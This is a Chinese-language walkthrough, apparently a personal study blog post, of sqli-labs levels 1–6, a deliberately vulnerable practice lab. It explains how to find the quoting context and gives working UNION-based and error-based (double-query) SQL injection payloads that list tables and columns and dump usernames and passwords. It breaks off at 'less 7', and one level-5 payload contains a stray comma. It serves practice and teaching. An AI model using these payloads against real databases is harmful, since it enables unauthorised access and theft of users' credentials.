我菜的两批。
从GitHub上下载安装好sqli-labs后,
Less-1
输入单引号后报错,根据报错信息,可以确定输入参数的内容被存放到一对单引号中间,
注意:在构造注入url时,查询id通常为0,这是因为一般来说程序(逻辑上)只会取返回结果的第一个数据,如果查询的id是有意义的,那么程序就会取该id返回的结果,我们构造的union查询就没有效果了,因此我们选择id=0即一个不存在的id,这是会返回一个空的结果集,此时程序才会取到union查询的结果。其他题同理。
爆表:
用到语句:
?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
爆列:
用到语句:
?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
爆值:
用到语句:
?id=0' union select 1,group_concat(username,password),3 from users--+
注意:
图中的3换成几都可以但不能为空,且前后这个地方出现的数应该一致
less-2
输入单引号后报错,根据报错信息确定输入的内容被带入到数据库中,也可叫做数字型注入
爆表:
用到语句:
id=0 union select 1,group_concat(table_name),2 from information_schema.tables where table_schema=database() --+
爆列:
用到语句:
id=0 union select 1,group_concat(column_name),2 from information_schema.columns where table_name='users' --+
爆值:
用到语句:
id=0 union select 1,group_concat(username,password),2 from users--+
less-3
输入单引号,根据报错信息确定输入的内容存放到一对单引号加圆括号中了
爆表:
用到语句:
id=0') union select 1,group_concat(table_name),1 from information_schema.tables where table_schema=database() --+
爆列:
用到语句:
id=0') union select 1,group_concat(column_name),1 from information_schema.columns where table_name='users' --+
爆值:
用到语句:
id=0') union select 1,group_concat(username),group_concat(password) from users%23
less-4
输入单引号没有报错,尝试输入双引号,页面报错,根据报错信息判断出输入的内容被放到一对双引号和圆括号中
爆表:
用到语句:
id=0") union select 1,group_concat(table_name),1 from information_schema.tables where table_schema=database() --+
爆列:
用到语句:
id=0") union select 1,group_concat(column_name),1 from information_schema.columns where table_name='users' --+
爆值:
用到语句:
id=0") union select 1,group_concat(username,password),1 from users--+
sqli-labs level5-6 双查询注入
双查询注入很重要,这一点儿比之前的几关更难,此大佬博客讲的比较清楚。
https://www.jianshu.com/p/786aa540a900
盲注需要掌握一些MySQL的相关函数:
substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。
*注意:这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
一些绕过技巧可参考此大佬blog:https://www.cnblogs.com/Vinson404/p/7253255.html
获取数据库:
?id=-1' union select 1,2,3 from (select count(*),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
获取表名:
?id=-1' union select 1,2,3 from (select count(*),concat((select concat(table_name,0x3a,0x3a),from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
获取用户信息:
?id=-1' union select 1,2,3 from (select count(*),concat((select concat(username,0x3a,0x3a,password,0x3a,0x3a) from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
less 6只需在less 5的基础上把单引号改为双引号即可
less 7